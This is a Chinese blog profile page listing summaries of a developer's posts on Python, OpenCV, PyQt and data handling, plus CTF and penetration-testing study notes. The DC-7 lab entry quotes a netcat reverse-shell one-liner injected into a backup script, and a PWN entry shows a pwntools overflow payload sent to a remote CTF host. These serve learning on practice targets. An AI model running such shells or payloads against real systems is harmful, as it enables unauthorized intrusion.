自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(107)
  • 资源 (10)
  • 收藏
  • 关注

原创 C语言项目实战知识点汇总

C语言项目实战知识点汇总常用头文件宏定义函数声明局部变量和全局变量输入输出判断语句if、switch循环语句while、for函数的定义按键监听、随机数指针数组操作时间戳、日期转换待补充运行环境:Dev-C++ 6.5常用头文件 #include<stdio.h> //标准输入输出函数库(printf、scanf) #include<time.h> //用于获得随机数 #include<windows.h> //控制dos界面 #include

2021-06-30 17:45:41 1753 1

原创 python remi网站创建

1、将本地网站隐射出去 需要在路由器上配置,设置虚拟服务:服务端口+IP+协议(TCP),上一层路由设置的IP为下一层路由或主机的IP。 如果是在虚拟机中,选择NAT模式,设置端口转发,添加主机端口。 在windows中需要在防火墙中开放该端口,cmd——>control——>系统安全——>防火墙——>高级设置——>入端规则——>新建规则——>端口、TCP——>允许链接——>名称——>完成。...

2020-12-16 15:29:56 5081 3

原创 Python命令行参数输入parser.add_argument()附实例取证应用程序

1、在编写命令行执行的Python文件时出现:ValueError: mutually exclusive arguments must be optional 不要采用这种写法:group=parser.add_mutually_exclusive_group(required=True)group.add_argument('--md5',help='specifies MD5 algorithm',action='store_true',default=Tru...

2020-09-16 17:37:00 7020 1

原创 Python图像绘制字符画

通过Python对图像进行文字画绘制,原理:提取图像轮廓,将轮廓上对应的像素点替换成文字,输出在txt文本中,复制在excel中呈现。#!/usr/bin/env python#-*- coding:utf-8 -*-# @Time : 2020/9/11 10:26# @Author : singweek# @File : 图像转字符字符转图片.pyimport cv2 # 导入OpenCV-Python模块import random''' *...

2020-09-14 16:14:44 3405 2

原创 python如何在多线程中使用异步

关于python:RuntimeError:线程’Thread-1’中没有当前事件循环,多线程和异步错误AttributeError: module ‘asyncio‘ has no attribute ‘WindowsSelectorEventLoopPolicy‘

2023-12-04 21:08:39 696 1

原创 python调用google(https://translate.google.com/)翻译

python调用google(https://translate.google.com/)翻译。

2023-05-26 11:43:00 588

原创 python networkx绘制动态节点

使用networkx生成绘制节点的原始数据,使用matplotlib.pyplot进行绘制,使用了canvas.mpl_connect鼠标事件绑定,使图形根据数据更新动起来,直接上代码结果!鼠标左键点击新增节点;右键点击删除该节点下的其他节点,保留主节点;中间点击显示该节点详细信息。

2022-10-05 16:13:23 1402

原创 PWN学习记录

PWN运行程序python3,需要安装pwn。from pwn import *p = remote("111.200.241.244",59428)payload = 0x88*'a' + p64(0x400596).decode("iso-8859-1")p.sendline(payload)//发送payloadp.interactive()

2021-07-29 16:25:06 1172

原创 CTF之PHP

CTF之PHPPHP环境及基础变量PHP漏洞函数1、sha1 和 md5 函数2、ereg()函数漏洞:00截断2、变量本身的key4、extract()变量覆盖5、strcmp()漏洞6、is_numeric()函数7、preg_match函数漏洞8、parse_str函数漏洞9、字符串比较10、unset()函数漏洞11、intval()函数漏洞12、switch()函数13、in_array()函数14、serialize() 和 unserialize()函数漏洞PHP环境及基础使用phpstu

2021-07-26 17:57:58 2596

原创 python 正则匹配bytes

网上找了半天都只有关于字符串的正则匹配,想到bytes的数据前面加了b,那么在匹配时是不是也要呢?直接上示例:import redata=b'blob 2199\x00<?php\n\nif (isset($_GET[\'page\'])) {\n\t$page = $_GET[\'page\'];\n} else {\n\t$page = "home";\n}\n\n$file = "templates/" . $page . ".php";\n\n// I heard \'..\' i...

2021-07-24 15:26:29 2166 1

原创 Python 模拟操作自动化操作

python模拟操作,通过复制粘贴拿到数据,对数据进行分析整理后,提取需要的数据,进过匹配后,根据指定操作在通过复制粘贴实现消息发送。具体的实现需要考虑具体的目标环境,根据不同情况进行分析,根据不同需求指定不同的操作,定制编写程序。...

2021-07-20 10:26:22 798

原创 python计算偏态、极差、方差、标准差、平均数、中位数、众数

import numpy as nplists=[1,2,3,4,5,6,7,8,9]print("极差:",np.max(lists)-np.min(lists))#最大值减最小值lists_var=np.var(lists, axis=None, dtype=None, out=None, ddof=0, keepdims=np._NoValue)print("方差:",lists_var)lists_std=np.std(lists, axis=None, dtype=None, out.

2021-07-12 13:14:31 8015

原创 CTF杂项知识汇总

CTF杂项知识汇总文件类型识别文件类型识别WinHex通过winHex程序可以打开查看文件头类型,根据文件头判断出文件类型,linux下可以使用file 文件名来判断文件类型。常见的文件头类型:|文件类型| 文件头 ||–|--|| | |...

2021-07-06 11:02:49 2000

原创 字符数据过滤

使用正则提取执行字符,我们需要知道提取的目标字符,使用unicode编码实现,unicode编码参考官方文档:https://en.wikibooks.org/wiki/Unicode/Character_reference

2021-06-12 16:35:43 185

原创 the application can not locate python36.dll(126)

在打包python的时候发现这个问题。 直接从字面看是缺少python36.dll文件,直接去python安装目录拷贝即可。 然后又出现一个问题,unable to load the file system codec,研究了半天,我把整个python环境包拷贝了进去,发现正常运行,说明pyinstaller打包出来的文档中缺少一些配置环境文件。 解决方法,去python目录中拷贝,缺德文件为Lib中的文件。复制一部分后,会发现还缺少...

2021-04-05 19:35:56 544 2

原创 python之asyncio

1、python异步编程asyncioimport timeimport asynciofrom aiohttp import ClientSessiontasks = []url = "https://www.baidu.com/{}"async def hello(url): async with ClientSession() as session: async with session.get(url) as response:# p

2021-03-06 23:32:44 154

原创 Python remi网站登录界面

使用remi自己编写的一个简单判断记录的登录界面,需要配置两个文件,Config/Web.txt和,Config/WebUserPasswd.txt。#!/usr/bin/env python# -*- coding:utf-8 -*-# @Time : 2021/2/24 15:40# @Author : singweek# @File : Web.pyimport remi.gui as guifrom remi import start, Appimport ...

2021-03-02 11:41:15 2630 3

原创 pyqt界面按键监听

由于在Python通过pyqt写界面时,有时候会用到,通过按键退出,所以特此记录一下。import sysfrom PyQt5.QtWidgets import QApplication,QWidgetfrom PyQt5 import QtCorefrom PyQt5.QtCore import * class Window(QWidget): def __init__(self): super().__init__() self.initUI(

2021-01-13 23:50:59 3423

原创 Pandas数据处理

Pandas数据处理Pands的基本操作数据结构不同文件类型的数据读取不同文件类型的数据导出数据清洗数据抽取重置索引记录抽取随机抽样字典数据处理数据修改Pandas是Python的一个数据分析包。Pands的基本操作数据结构 Series用于存储一行或一列的数据,以及与之相关的索引集合。 DataFrame数据框是用于存储多行和多列的数据集合,是Series的容器。from pandas import SeriesX=Series(['a','b','c'],index=[1,2,3])#

2020-10-30 15:26:09 371

原创 BurpSuite抓包手机模拟器APP

1、BurpSuite配置图2、模拟器配置3、证书下载安装,打开浏览器,出入配置好的IP端口4、进入设置->安全->从SD卡安装证书,找到重命名的证书文件cacert.cer安装5、打开APP或者浏览器测试抓包数据...

2020-10-14 10:58:01 1179

原创 python requests使用

1、最基本的网页响应访问import requests#url为网页地址url="https://www.cnblogs.com/lanyinhao/p/9634742.html"res=requests.get(url=url)print(res.status_code)print(res.text)2、定制header模拟浏览器访问import requestsurl="https://www.cnblogs.com/lanyinhao/p/9634742.html"h

2020-09-23 17:13:24 222

原创 Python常用知识随笔

Python常用知识随笔1、列表、元组、字典、集合的特点比较2、更快的文本读取方法3、一句话学会使用常见的正则4、未知参数传递、带键参数传递5、匿名函数与map、filter、reduce的使用6、查找与替换7、xrld读取excel文件数据8、待续 会对Python使用中遇到的我认为相对重要的知识点进行不定期更新添加记录。1、列表、元组、字典、集合的特点比较 列表(lsit,[]):有序、可变、可修改、可重复 元组(tuple,()):有序、不可变、元素如果是可变类型,其内部可以修改可以

2020-09-23 17:04:48 144

原创 虚拟机安装安卓模拟器

1、下载并安装VMare虚拟机,下载安卓版本软件包。相关功能可参考:安装官方VMDK下载:https://www.osboxes.org/android-x86/#android-x86-8-vmware安卓安装软件及命令使用:https://blog.csdn.net/weixin_43913500/article/details/88760557VMDK安装:https://blog.csdn.net/gb4215287/article/details/782457072、VMare

2020-09-01 11:57:54 6936

原创 DC-7靶机反弹php shell

在对靶机DC-7进行渗透测试学习时,发现无法使用介绍的方法echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.23.135 1234 >/tmp/f" >> backups.sh进行反弹shell提权。 前面的步骤与网上介绍的方法一样,这里不做过多阐述。后台账号密码:dc7user/MdR3xOgB7#dW ssh [email protected]远程...

2020-08-28 10:31:08 232

原创 Python自动获取QQ群消息

由于WebQQ关闭了,无法通过webQQ来自动的获取QQ中的消息,故采用模拟人查看消息的操作方式来实现自动获取消息。通过调用win32实现窗口监听,找到需要获取的消息窗口句柄,再通过模拟Ctrl+C和Ctrl+V将消息记录并保存下来,并对消息进行简单的处理得到发送消息的人员,时间以及内容。再保存数据时对获取到的数据做一个判断,判断是否存在,不存在则进行新增数据记录,具体实现源码如下,相关的功能有待进一步改进完善,只是初级版。#!/usr/bin/env python#-*- codi...

2020-08-12 18:33:53 9672 10

原创 PHP中的MySQL命令问题

在mysql下如何查看是否支持文件数据操作呢? show global variables like '%secure%'; 在MySQL目录中找到my.ini文件,打开查看是否有secure_file_priv,用于指定写入读取操作的目录。没有则自己修改添加一下即可。此外,PHP下的MySQL在测试执行时会经常报连接中断,重启一下就好了。[mysql]default-character-set=utf8[mysqld]po...

2020-07-01 09:20:20 685

原创 渗透测试入门DVWA

安装教程:https://www.cnblogs.com/ECJTUACM-873284962/p/7784508.htmlDVWA界面:DVWA教程链接:Brute Force:https://blog.csdn.net/qq_36119192/article/details/82938424Command Injecttion:https://www.cnblogs.com/xhds/p/12251389.htmlCSRF:https://blog.csdn.net/u01402

2020-06-24 15:34:36 1076 1

原创 空中手写识别

空中手写识别效果及界面

2020-06-12 10:09:27 606 3

原创 python冒泡算法

冒泡算法:比较两个相邻的元素,将值大的元素交换到右边。更快速的单向冒泡算法:def Bubble(lists): """ 原始版 冒泡算法,两两之间进行交换比较大的往后移动 :param lists: 输入待排序数组 :return: 返回排序好的数组 """ for i in range(len(lists) - 1): ...

2020-04-21 13:39:04 646

原创 Code128码识别

据code128编码的规则:1、2、3、4黑白相间,宽度不同。数据起始符:211232,数据终止符:2331112,中间六位为数据00-99,有对应的编码。如果通过图像识别出编码,我们需要黑白框的宽度,判断数据是否有效需要根据起始符和终止符确定。如果确定每一个Code128码框的宽度,首先需要对图像进行矫正,然后如果图像是非常清晰的化,简单的可以直接使用矩形框选确定每一个黑色框...

2020-04-21 13:33:11 2774

原创 PDF删除程序

PDF空白页删除程序,网上PDF软件删除有些需要权限、会员等乱七八糟的,然后通过查找使用python实现了PDF空白页或者指定页删除程序。 可执行程序:https://download.csdn.net/download/zx520113/12344051#!/usr/bin/env python# -*- coding: utf-8 -*-#autho...

2020-04-20 17:08:17 251

原创 python打包程序运行时卡死问题

最近在打包python编写的文件时,打包成功,在点击运行时提示缺失相应dll文件,补充到文件里面后点击运行依然卡死,找了半天也没有发现问题,最后去看了下打包过程的日志文件发现numpy导入除了问题。 既然打包后的文件缺东西,补充就行了,于是粗暴的解决方法就是将本地python目录中的numpy文件拷贝进打包后的numpy中,其他类似问题应该也可以这样解决。缺...

2020-02-28 09:43:55 2588

原创 keras模型训练过程绘制

keras版本2.2.0,发现通过之前的history=model.fit()无法绘制,会出现一个问题'dict' object is not callable然后找了中文官方文档以及其他网上资料,依然没有解决,最后去看了下外文的官方文档https://keras.io/callbacks/#history。在外文官方文档中有这么一个例子:class LossHistory...

2020-02-26 14:08:20 1667

原创 空中手写识别之图像数据处理

#!usr/bin/python3# -*- coding:utf-8 -*-# author:SingWeekimport osimport cv2import timeimport randomimport shutilimport pandas as pdimport numpy as npimport csvdef Read_txt(filename,outfi...

2020-02-24 22:02:21 531

原创 基于SVM的运动手势识别模型

1、通过捕捉手在空中的运动手势,通过卷积进行图像特征提取和PCA特征降维最后通过SVM进行分类。具体代码如下,通过sklearn、numpy等相关库实现。#!usr/bin/python3# -*- coding:utf-8 -*-# author:SingWeekimport cv2import numpy as npimport osfrom sklearn.mode...

2020-01-21 14:32:17 2879 1

原创 python超时问题

在写程序的时候会在while循环中卡死,或者在界面中卡死等问题。这一切都可以通过超时函数来解决,让你的程序跳出死循环。下面将通过客服端和服务端给出一个简单的例子:包含了多线程、修饰函数、超时问题socket通信等。QApplication.processEvents()可以刷新解决pyqt界面卡顿。服务端,一直跑不断线,等你来连接:#!usr/bin/python3# -*-...

2020-01-13 17:26:11 3046

原创 PyQt界面绘制及py转换调用

1、首先相关库安装: pip install PyQt5 pip install PyQt5-tools2、安装好后配置pycharmFile-->Setting-->Tools-->External Tools-->+新增-->edit ToolQt Designer中的参数配置: Program(...

2019-12-13 13:04:16 2010

原创 Python 操作Access、SQL Server2008数据库

1、Access数据库创建 2、Access数据库调用 使用pypyodbc来进行Access数据库调用#!/usr/bin/env python# -*- conding: utf-8 -*-import pypyodbcstr = 'Driver={Microsoft Access Driver (*.mdb,*.accdb)};...

2019-07-10 15:16:32 769

原创 python日期识别

通过jieba切分语句,根据词性提取时间,再利用正则表达式匹配日期,最后输出识别日期。 可以识别:今天几号?上周一的时间是?27号到30号?15号?我要订今天到后天的房间。从2019年4月28号下午3时10分27秒到2019年5月4号。前天上午12点等。 识别的结果受jieba分词的影响,如果想要效果更好,可以自己用HMM训练分词,用双向匹配分词...

2019-05-02 17:10:13 3594

原创 OpenCV人脸识别、分类器训练

人脸框选:调用OpenCV库中的CascadeClassifier函数进行人脸框选。 - 分类器训练:—>OpenCV中有训练好的人脸框选文件,我们也可以利用opencv_createsamples和opencv_traincascade来训练自己的物体(人脸)检测文件,通过OpenCV调用。—>构建好这么一个文件目录,将训练的正负样本分别放在posdata和negdat...

2019-04-13 11:16:55 1454

渗透测试学习笔记资源

渗透测试学习笔记资源

2020-08-19

PDFDeal.exe

PDF空白页删除程序,网上PDF软件删除有些需要权限、会员等乱七八糟的,然后通过查找使用python实现了PDF空白页或者指定页删除程序。

2020-04-20

运动手势识别0,1,2,3,4,5

运动空中手势识别数据集,自己采集的,包含0,1,2,3,4,5,6数量分别为468,954,281,282,346,448,885 第6类是负样本。

2020-01-21

人脸识别、物体框选

通过OpenCV实现人脸框选,物体框选分类器训练,实现物体框选,基于face_recognition的人脸识别等相关资料。

2019-04-13

图像倾斜角计算并旋转校正

计算图像中物体倾斜角的大小,并根据计算出来的角度将图像旋转正,通过python实现

2019-04-11

LSTM模型学习

基于python3.6实现的,Keras相关资源:LSTM预测模型训练,IMDB数据加载,国际旅行人数预测,IMDB影评分类预测,数据标准化,模型保存到本地,从本地加载训练好的模型,plt图形绘制,以及IMDB数据和国际旅行人数数据包。

2018-12-06

python之文件批量更名及文件名批量存储

python之文件批量更名及文件名批量存储, 如果self.savefilenameformat输入为空的情况下,将文件夹中的文件名下入txt文本以及其他类型文档中,在这里有两种选择模式,默认self.choosefilenameformat=2是把当前文件夹中的文件的文件名下入文档中,模式self.choosefilenameformat=1下是将当前文件夹中的文件其所属路径下入文档中;如果self.savefilenameformat='.doc'有赋值的时候,执行的是对当前文件夹中的文件进行更名操作。

2018-11-17

pyinstaller打包OpenCV错误解决

https://blog.csdn.net/zx520113/article/details/82793312,实际工程中遇到问题解决的配套资源,python3.6.6下OpenCV安装问题,文件缺失,pyinstaller打包示方法PDF以及一个自己写的示例文档,希望对遇到同样问题的小伙伴有用

2018-09-20

Annotation文件信息提取以及根据坐标点切割保存图像

根据训练集标记的图像数据的数据点,对图像进行切割保存。首先对annotation文件进行数据提取,输出TXT文本,然后读取文本中的信息,对图像数据进行切割。

2018-04-16

图像处理常用标准图片

OpenCV C++图像处理常用图片,包括lenna,finger,boats,man,tiffany,yacht,sailboat,pepper,pens,girl,fruits,flowers,bridge等等

2018-01-09

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除